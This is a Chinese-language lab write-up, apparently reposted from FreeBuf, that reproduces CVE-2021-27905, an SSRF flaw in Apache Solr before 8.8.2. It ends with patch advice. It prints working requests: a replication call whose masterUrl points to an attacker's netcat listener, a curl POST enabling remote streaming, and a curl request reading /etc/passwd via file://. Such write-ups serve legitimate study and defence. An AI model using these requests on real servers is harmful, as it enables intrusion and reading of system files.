CVE-2021-27905 Apache Solr 服务端请求伪造漏洞复现 – 作者:17608406504

0x00 简介

Apache Solr是美国阿帕奇(Apache)基金会的一款基于Lucene(一款全文搜索引擎)的搜索服务器,使用Java语言开发,主要基于http和Apache Lucene实现的,该产品支持层面搜索、垂直搜索、高亮显示搜索结果等。

0x01 漏洞概述

Apache Solr 8.8.2之前版本存在安全漏洞,Apache Solr 中的 ReplicationHandler(通常注册在 Solr core下的“/replication”)有一个“masterUrl”(也是“leaderUrl”别名)参数,用于指定另一个 Solr core上的另一个 ReplicationHandler 将索引数据复制到本地core。为了防止 SSRF 漏洞,Solr 应该根据它用于“shards”参数的类似配置检查这些参数。攻击者可利用该漏洞,传递特定参数,构造并执行服务端请求伪造,造成攻击者任意读取服务器上的文件,利用该漏洞可造成内网信息探测。

0x02 影响版本

ApacheSolr<8.8.2

0x03 环境搭建

1.下载源码,下载地址为:http://archive.apache.org/dist/lucene/solr/8.8.1/

解压进入bin目录,终端运行,

./solr start-p6677

img

2.访问Solr服务

http://192.168.141.131:6677

img

3.点击左侧Core Admin,创建一个core

img

如果在点击Add Core时出现错误

img

把server/solr/configsets/default/conf文件夹复制到new_core文件夹下即可

img

然后再点击Add Core即可创建成功

img

0x04 漏洞复现

1.使用poc进行验证

首先nc监听本地端口

nclvp 8484

img

访问如下链接,即可反弹信息

http://127.0.0.1:6677/solr/new_core/replication?command=fetchindex&masterUrl=http://192.168.141.131:8484

结果如下:

img

img

2.下面为读取任意文件:

访问http://ip:6677/solr/admin/cores?indexInfo=false&wt=json,可以看到刚才创建的core,通过以下API可以获取所有内核名称 。

img

3.通过命令行开启远程任意文件读取

curl-i-s-k-X'POST'-H'Content-Type: application/json'--data-binary'{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'http://192.168.141.131:6677/solr/new_core/config
-i查看header头信息 
-s不输出统计信息
-k使用能忽略证书不受信问题
-X指定POST请求
-H添加http请求的标头
-d用于发送post请求的数据体

img

4.利用file协议读取/etc/passwd文件:

curl-i-s-k'http://192.168.141.131:6677/solr/new_core/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

img

0x05 防护建议

1.升至8.8.2及以上的最新版本,https://solr.apache.org/downloads.html

2.打上 https://issues.apache.org/jira/browse/SOLR-15217中的补丁;

3.限制请求协议和用户提交的url,应用防火墙对其进行检测 。

来源:freebuf.com 2021-07-01 18:44:01 by: 17608406504

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论